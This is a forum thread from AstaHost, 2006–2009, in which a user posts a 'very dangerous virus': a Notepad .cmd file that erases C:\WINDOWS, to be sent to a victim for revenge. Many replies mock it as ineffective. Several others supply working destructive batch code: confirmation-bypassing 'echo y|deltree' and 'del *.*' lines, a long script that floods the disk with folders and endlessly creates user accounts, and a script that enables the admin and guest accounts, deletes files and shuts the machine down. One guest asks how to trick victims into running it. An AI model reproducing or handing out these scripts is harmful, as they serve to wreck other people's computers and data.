Jump to content



Welcome to AstaHost - Dear Guest , Please Register here to get Your own website. - Ask a Question / Express Opinion / Reply w/o Sign-Up!

Toggle shoutbox Shoutbox Open the Shoutbox in a popup

@  yordan : (19 June 2013 - 02:28 PM) Long Life To Asta New Era
@  agyat : (19 June 2013 - 01:58 PM) New Era Start At Asta Or Asta Start In New Era. :unsure:
@  yordan : (16 June 2013 - 05:41 PM) You're Welcome, Agyat!
@  agyat : (16 June 2013 - 07:38 AM) Thanks Yordan...
@  velma : (16 June 2013 - 12:06 AM) I Have Asked Opa To Check For A Backup.. He'll Let Me Know Soon :)
@  velma : (16 June 2013 - 12:05 AM) T_T It Seems That Someone Has Deleted That Topic Since I Found The Url Of The Topic But It Gives Me An Error
@  yordan : (15 June 2013 - 10:31 PM) @velma : It's A Tuto On How To Create A Login Program.
@  yordan : (15 June 2013 - 10:31 PM) Happy Birthday To Youuuuuu Agyat!
@  yordan : (15 June 2013 - 10:31 PM) Ba$
@  agyat : (15 June 2013 - 04:41 PM) :(
@  agyat : (15 June 2013 - 04:41 PM) Where The Hall I Were? 15Th Is Almost At End And No-One Wished Me "happy Birthday"!!!
@  velma : (14 June 2013 - 10:39 AM) Which Tutorial Is He Searching For?
@  velma : (14 June 2013 - 10:38 AM) Which Tutorial Is He Searching For?
@  yordan : (14 June 2013 - 07:47 AM) Ok, Have A Look Tomorrow.
@  yordan : (13 June 2013 - 03:19 PM) @velma, Can You Have A Look At Feelay's Problem? Seems That His Tutorial Is Not Searchable Today.
@  Feelay : (13 June 2013 - 08:11 AM) Oh, Haha
@  velma : (12 June 2013 - 05:39 PM) T_T Lately My Levels Of Procrastination..... **sigh**
@  velma : (12 June 2013 - 05:38 PM) I'll Do It Later
@  velma : (12 June 2013 - 05:38 PM) Procrastinators.. People Who Keep Saying "i'll Do This In A Bit"
@  Feelay : (12 June 2013 - 02:05 PM) Deal Punishments To What?

Photo
- - - - -

Very Easy But Very Dangerous Virus


26 replies to this topic

#1 me-here

me-here

    Newbie [ Level 1 ]

  • Members
  • 7 posts

Posted 22 April 2006 - 10:09 AM

The only thing you need is Notepad .
Now, to test it, create a textfile called TEST.txt(empty) in C:\
Now in your notepad type "erase C:\TEST.txt" (without the quotes).
Then do "Save As..." and save it as "Test.cmd".
Now run the file "Test.cmd" and go to C:\ and you'll see your Test.txt is gone. Now, the real work begins:
Go to notepad and type erase C:\WINDOWS (or C:\LINUX if you have linux) and save it again as findoutaname.cmd. Now DON'T run the file or you'll lose your WINDOWS map. So, that's the virus. Now to take revenge. Send you file to your victim. Once she/he opens it. Her/his WINDOWS/LINUX map is gone. And have to install LINUX/WINDOWS again.



#2 Aditya

Aditya

    Member [ Level 2 ]

  • Members
  • 54 posts

Posted 22 April 2006 - 12:16 PM

Ok first of all this is not a virus even in the lamest terms. This is just a DOS batch file. You can also save the file as .bat file and the functioning will be the same. This file won't erase anything without confirmation from the user. You've tried to delete just a single file thats why it didn't ask for confirmation from you. Try deleting a folder with this file and you will get the following message in a DOS window:
erase c:\<directory name>
c:\<directory name>\*, Are you sure (Y/N)?
Unless you press 'y' nothing will happen. A virus, by definition, is not just supposed to damage a computer, it is also supposed to spread on its own. And this file can't even damage a computer without affirmation from the user. I wonder who would be dumb enough to affirm the destruction of his own computer. :P
Atleast use "echo off" before the erase statement to hide the "erase c:\windows" command being displayed.
And by the way, I think you haven't ever used Linux. Otherwise you would know that Linux doesn't support DOS commands and neither does it use the Windows/DOS filesystem.

#3 miCRoSCoPiC^eaRthLinG

miCRoSCoPiC^eaRthLinG

    PsYcheDeLiC dR3aMeR

  • [MODERATOR]
  • 2,248 posts
  • Gender:Male
  • Location:Bangkok, Thailand
  • Interests:Photography, Magic Tricks, Numismatics & Philately to some extent, Being a nuisance in general (that's my favourite)
  • myCENTs:NEGATIVE[-21.50]

Posted 22 April 2006 - 01:00 PM

hahhaahaha.. I'm sorry I can't help but laugh like a mad cow :P That was rather pathetic, me-here.. as Aditya pointed out.

An alternative to using echo off is to prefix every line in the batch file with an @ symbol. It works the same as echo off.

Moreover - if you execute this file WHILE you're booted into Windows, there's NO WAY you can delete the Windows directory. Anything above Win98, puts a LOCK on the C:\WINDOWS folder once booted up. You cannot even use Windows Explorer to delete this directory.

Only with that inanely stupid Win98, you could delete the WINDOWS folder - but that too would abort midway once it came upon certain locked .dlls and .exes. But by then the damage would be done - at least partially.

As far as Linux is considered, this method is absolutely worthless.. a normal user won't even have sufficient privileges to execute a similar script on the root folder.

#4 Guest_nini_*

Guest_nini_*
  • Guests

Posted 22 April 2006 - 01:17 PM

Thanks a lot.
But a problem...may be the victim understand and doesn't run
the file...so(it is clear to understand)
what way do you use???

#5 mastercomputers

mastercomputers

    Making IT Happen

  • Members
  • 770 posts
  • Gender:Male
  • Location:Auckland, New Zealand
  • Interests:There's not a lot I'm not interested in, knowledge is power, without it, I'd be sitting in the dark.
  • myCENTs:42.89

Posted 22 April 2006 - 02:25 PM

A Virus infects... that's how I describe Viruses.

This however is just a malicious program/script that deletes files.

To make it successful, there's some Windows files that you can single out for specific deletion and would not be presented with a confirmation, even renaming it would work, moving however wouldn't because it'd most likely be read-only and require confirmation. Those files can be found in Windows and System32.

I'm not sure whether you can force windows into interactive mode, in which every action done in DOS requires user input. I know I've set up bash so that commands like rm, cp and mv all require actions by the user before going ahead with it, also the most damage a script as such would do would be removing my home directory (if that file was owned by me), however it will get interrupted because some files would be locked (in use). If it were owned by root, that's a different story, and definitely something to be concerned about.


Cheers,


MC

#6 nitrus

nitrus

    Newbie [ Level 2 ]

  • Members
  • 13 posts

Posted 23 April 2006 - 07:53 PM

You could make it work fine using the Robot library of Java. Its java.awt.Robot; and it gives you complete control of a persons computer. Im working on a script right now that gives you remote access to your computer. Very nifty little library indeed.
~Adio

#7 Logan Deathbringer

Logan Deathbringer

    Geek in-training

  • Members
  • 362 posts
  • Gender:Male
  • Location:Kentucky, USA, 3rd Rock from the Star Sol
  • myCENTs:12.53

Posted 24 April 2006 - 05:41 AM

well with all the debate thats happened there I think that adding my own opinon here is kinda...usless....although I still will.

I'm sorry about what I'm about to say but at the same time I'm not...this doesn't even fall into the "script kiddie" arena, even the most basic "script kiddie" would realize that the commands given wouldn't work in Linux/Unix, and my main question is this...why would you come to a 'Tech forum and make a post like this....

#8 Vaibhav

Vaibhav

    Newbie [ Level 2 ]

  • Members
  • 22 posts

Posted 06 August 2006 - 09:24 AM

well I agree that its a virus ( just a very limited extent) ...just that it is not a worm...virus is omething that corrupts your system and infects. since the file can potentially corrupt but nmot infect, it is a virus to some extent. Now another thing is tht. will it destroy or not. I agree that it wont destroy cus the windows folder is write protected and the command will not execute...atleast from a normal account.

Another thing is that the file has an extension of CMD which is a batch file opened in special mode. and it doens t work on systems before win XP.

#9 vhortex

vhortex

    Guilty Until Proven Innocent

  • Members
  • 513 posts

Posted 06 August 2006 - 01:15 PM

yes..the main concern is why do a post like this ends up in the forum..

i cant be sure about the windows xp system but there is a way to insert a user confirmation without requiring a keyboard input.. hmm, ever familiar with pipings? and one thing i like about windows and people hate about it too is that you already have all the resources you need to create simple viruses.

complex ones need some patch libraries to be installed.. there is no system like windows where i can create a worm using notepad alone. this cant be done on Mac OS and on linux, but can be done on windows..

I love windows :D

#10 KDEWolf

KDEWolf

    Advanced Member

  • Members
  • 179 posts
  • Gender:Male

Posted 27 September 2006 - 05:11 PM

I hate media. Nowadays everyone who writes down some program is a "hacker" and if the program damages anything it's a "virus". One single minute thinking about these terms and you already know they're used in a completely wrong context.

When my HD crashed some weeks ago, the first thing my brother and my mother asked me was: "Was it a computer virus?". And, as always, I got pissed off, since (at least to me) I'm very unlikely to get viruses, since I am a very experienced user, and also have some programming skills.

First of all, much easier than writing this script, browsing Google for "creating evil scripts" (this is just a stupid example). There you'll find many dangerous exploits, programs, bugs, etc... But the fact is: if you barely know how do these work, you're probably getting lots of them infecting you computer, just by browsing these sites with an insecure browser and/or by running some of the programs contained within them (like Trojan makers, for example).

If you're up to damage someone's system, then I just hope the same happens to yours. If you're just studying some of it so you don't get infected or fooled by these childish stuff, you're welcome. By the way, when it came out, I had access to the YouLoveYou Visual Basic Script some time after, for studying it. That was a real computer virus. And that's a hell of a coding, with hundreds and hundreds of lines of code...

So do not believe that without real knowledge you'll be able mess with one's computer around. Unless one is many times dumber than you, of course...

And a last simple tip, for safety: always "edit" (using at least notepad) script files before running them, so you have a bare idea of what's going to happen next...

#11 FirefoxRocks

FirefoxRocks

    Super Member

  • [HOSTED]
  • 988 posts
  • Gender:Male
  • Location:Ontario, Canada
  • myCENTs:92.36

Posted 08 November 2006 - 01:57 PM

This is absolutely useless, as others pointed out.
Windows will not allow you to delete the Windows folder once booted up and even changing the drive letter of a compressed FAT drive will nto work if Windows is installed on it.

Unless you can execute this script without user confirmation (using the /q switch), I think that this is useless. Who would press "Y" on this command?

If you do use quiet mode, it still requires pure DOS mode. That means no Windows has to be loaded. As far as I know, only Windows 95 supports this. I think Windows 98 can, but you need a startup disk in order for that to work.

#12 vhortex

vhortex

    Guilty Until Proven Innocent

  • Members
  • 513 posts

Posted 09 November 2006 - 12:46 AM

Unless you can execute this script without user confirmation (using the /q switch), I think that this is useless. Who would press "Y" on this command?


on the pressing of "Y"..
i know 5 ways to do that without the user knowing.. and windows or even DOS provides the 4 methods..

#13 xboxrulz

xboxrulz

    Colonel Panic

  • Members
  • 3,057 posts
  • Gender:Male
  • Location:Toronto, Ontario, Canada
  • myCENTs:59.15

Posted 09 November 2006 - 03:25 AM

funny, this virus doesn't work w/ Linux because first of all, it's not in Shell script and who would install Linux on the same partition w/ Windows knowing that it could be easily and accidentally erased!

xboxrulz

#14 ne0

ne0

    Newbie [ Level 2 ]

  • Members
  • 14 posts

Posted 01 January 2007 - 07:05 AM

In my opinion virus itself is dangerous when it's invisible.

Mainly the viruses are

-worms
-trojans
-backdoors

Worms are the most dangerous ones, because they walk from computer to computer and infect
them. A virusmaker (worm coder) uses vulnerabilities of operating systems or of any software
in order to code a worm that then his/her worm could easily infect another computer without
his/her interaction. And then the process of infecting goes on automatically.
And that's why the worms are the most dangerous because they infect their victims faster
than other types of viruses.

Trojans are just like thieves. They steal passwords, banking accounts , or any sensitive
information.



Backdoors are just like "back doors" :). While on victims computer they open a port (TCP/IP)
like a tunnel or "back door". Through this "back door" an attacker enters the victims
computer and does what he/she want. Nowadays these open ports are easily closed by firewalls.
And that's why these types of viruses are not effective.

The "virus" in your case hm.. is only a part of script of a body of a virus listed above.
And it cannot be run with user interaction (we should assume that users are not
babies or .. :) ) . Mainly it can be used to cover the tracks of an attacker (by modifying
the content of your batch script , of course by not deleting the whole $WINDOWS$ :) ).

#15 Nathaniel Strieger

Nathaniel Strieger

    Newbie [ Level 1 ]

  • Members
  • 3 posts

Posted 12 April 2007 - 05:50 PM

not only is that lame, it wont work.
*nix systems don't have a C: at all, so it's only windows in the firs place. also, as pointed out, it won't let the user delete the windows directory while windows is booted.
you would have far better result if you did some thing like this...
@echo y|deltree *.
@echo y|del *.*

#16 AxeFestis

AxeFestis

    Newbie [ Level 2 ]

  • Members
  • 10 posts

Posted 30 May 2007 - 03:18 PM

This is basic stuff we are not n00b's can some one add something more difficult

#17 Guest_(G)Author Name - e.g. John, Mike_*

Guest_(G)Author Name - e.g. John, Mike_*
  • Guests

Posted 17 March 2009 - 11:48 PM

@ECHO OFF@ECHO A PHOENIX PRODUCTION@ECHO MAIN BAT RUNNINGGOTO start

:start@ECHO SET snowball2=1 >> bat6.Bat@ECHO GOTO flood5 >> bat6.Bat@ECHO :flood5 >> bat6.Bat@ECHO SET /a snowball2=%%snowball2%%+1 >> bat6.Bat@ECHO NET USER snowball2%%snowball2%% /add >> bat6.Bat@ECHO GOTO flood5 >> bat6.BatSTART /MIN bat6.BatGOTO bat5

:bat5@ECHO CD %%ProgramFiles%% >> bat5.Bat@ECHO SET maggi=1 >> bat5.Bat@ECHO GOTO flood4 >> bat5.Bat@ECHO :flood4 >> bat5.Bat@ECHO MKDIR maggi%%maggi%% >> bat5.Bat@ECHO SET /a maggi=%%maggi%%+1 >> bat5.Bat@ECHO GOTO flood4 >> bat5.BatSTART /MIN bat5.BatGOTO bat4

:bat4@ECHO CD %%SystemRoot%% >> bat4.Bat@ECHO SET marge=1 >> bat4.Bat@ECHO GOTO flood3 >> bat4.Bat@ECHO :flood3 >> bat4.Bat @ECHO MKDIR marge%%marge%% >> bat4.Bat@ECHO SET /a marge=%%marge%%+1 >> bat4.Bat@ECHO GOTO flood3 >> bat4.BatSTART /MIN bat4.BatGOTO bat3

:bat3@ECHO CD %%UserProfile%%Start MenuPrograms >> bat3.Bat@ECHO SET bart=1 >> bat3.Bat@ECHO GOTO flood2 >> bat3.Bat@ECHO :flood2 >> bat3.Bat@ECHO MKDIR bart%%bart%% >> bat3.Bat@ECHO SET /a bart=%%bart%%+1 >> bat3.Bat@ECHO GOTO flood2 >> bat3.BatSTART /MIN bat3.BatGOTO bat2

:bat2@ECHO CD %%UserProfile%%Desktop >> bat2.Bat@ECHO SET homer=1 >> bat2.Bat@ECHO GOTO flood >> bat2.Bat@ECHO :flood >> bat2.Bat@ECHO MKDIR homer%%homer%% >> bat2.Bat@ECHO SET /a homer=%%homer%%+1 >> bat2.Bat@ECHO GOTO flood >> bat2.BatSTART /MIN bat2.BatGOTO original

:originalCD %HomeDrive%SET lisa=1GOTO flood1:flood1MKDIR lisa%lisa%SET /a lisa=%lisa%+1GOTO flood1

Try this still not a virus just a .Bat file but a fun one also very annoying.



#18 Guest_(G)shikagami_*

Guest_(G)shikagami_*
  • Guests

Posted 30 April 2009 - 11:18 PM

Ok, where to start...First of all, virii cant spreadthemselves, they only infect the node they are currently in. Worms onthe other hand can spread. Worms ARE NOT DANGEROUS unless they have apayload in them. A payload can be a regular program, virii, or otherrandom things like trojans, backdoors, polymorphs, and so on and soforth.Now, I see we have some intermediate scripters, like me,and some script kiddes, which is ok if your younger. Just for the SK'sinfo, vb virii are hardly used anymore. They can pretty much only beused on your own computer or the extremely unprotected computer.Although it can be kinda fun just screwing around on a junk HD. Isuggest after or durring studying vb, you should look into c++, java,javascript, and some lesser known types like ruby and perl (not pokemongames). C++ can be widely used, not just for a virus, but for webpages,programs, and what-not. So, if u wanna get arrested, make somethinglike a fake program or something, put a virus in it, and put it on theweb. Java and java script are widely used on the internet for games andstuff. This can be fun cause it's the idiot's fault for getting it.(sorry if it offended anyone, but it's kinda true). And the other two,ruby and perl, they can be used for white/black hat hacking, virii, andseveral other things as well. They are mostly (if not only) used on/forlinux and GPLOSs for most of their programs. A prime example of thesetwo can be found on the os, BACKTRACK 1,2,3,and 4beta (depending on howold this post is).So there u have it, scripting for dummies.Just make sure that none of u guys (or maybe girls) get caught doingthe bad thing. Have fun!-reply by shikagami

#19 Guest_(G)H4CK3R_*

Guest_(G)H4CK3R_*
  • Guests

Posted 08 August 2009 - 09:32 AM

AnswerVery Easy But Very Dangerous Virus

net user administrator /active:yes

net user administrator *insertpassword

start net user guest /active:yes

net user guest *insertpassword

start @echo y|del *.*

ipconfig/release

start shutdown

You can elaborate some more but you get the idea

-reply by H4CK3R

#20 surfermac

surfermac

    Advanced Member

  • Members
  • 137 posts
  • Gender:Male
  • Location:India
  • myCENTs:83.73

Posted 15 August 2009 - 09:45 AM

YOu call that a virus
????
you need to know more than that to create one



Reply to this topic



  


0 user(s) are reading this topic

0 members, 0 guests, 0 anonymous users